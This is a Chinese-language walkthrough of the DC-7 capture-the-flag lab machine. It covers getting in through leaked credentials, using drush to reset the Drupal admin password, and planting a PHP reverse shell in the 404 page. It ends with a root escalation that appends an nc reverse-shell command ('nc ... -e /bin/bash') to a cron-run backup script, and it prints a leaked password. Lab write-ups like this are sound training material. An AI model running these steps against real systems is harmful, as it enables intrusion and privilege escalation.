1.靶机情况
端口开放情况,开放ssh和http服务。根据网站提示,采取暴力破解的方式,注定是失败的。


根据网站给出的copyright信息,搜索发现了这个网站在github上有项目信息。(靶机的制作者,可能在讽刺很多程序猿抄袭github的项目吧)。

根据网站的配置信息,发现了用户名和密码:
password = "MdR3xOgB7#dW";
使用ssh服务登录靶机,发现系统有dc7user和root两个用户,dc7user有邮件,邮件提示有一个脚本,内容大概是对数据库进行备份,备份后的文件通过gpg加密。
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
这个脚本是root用户创建,但是www-data用户组都能使用,可能运维人员不想切换用户,执行这个脚本吧。
同时我们注意到,这个脚本使用了drush命令,使用drush help查看,发现有重置网站密码的功能,不过要注意,执行错误时候它会提醒在网站根目录执行。

2.获取www-data用户权限
直接修改admin的密码为123456,登录网站后台后,修改网站的404页面,将其改为kali里面的/usr/share/webshell/php的反弹shell内容。值得注意的是,drupal这个版本没有编辑php功能,因此需要下载一个php 编辑插件,地址在这https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

启用后,直接编辑404网页内容:

kali开启监听端口,保存网页后会有一个php反弹shell回连,用户就是www-data。

3.切换到root用户
由于backups.sh脚本能够被www-data用户编辑,可以直接写入nc回连的命令。届时由root用户每隔15分钟执行这个脚本,但是实际上这个root用户等了15分钟也没有执行,最好的办法就是重启了。重启后,马上就拿到了root的会话了。
echo "nc 192.168.136.198 6666 -e /bin/bash" >> backups.sh
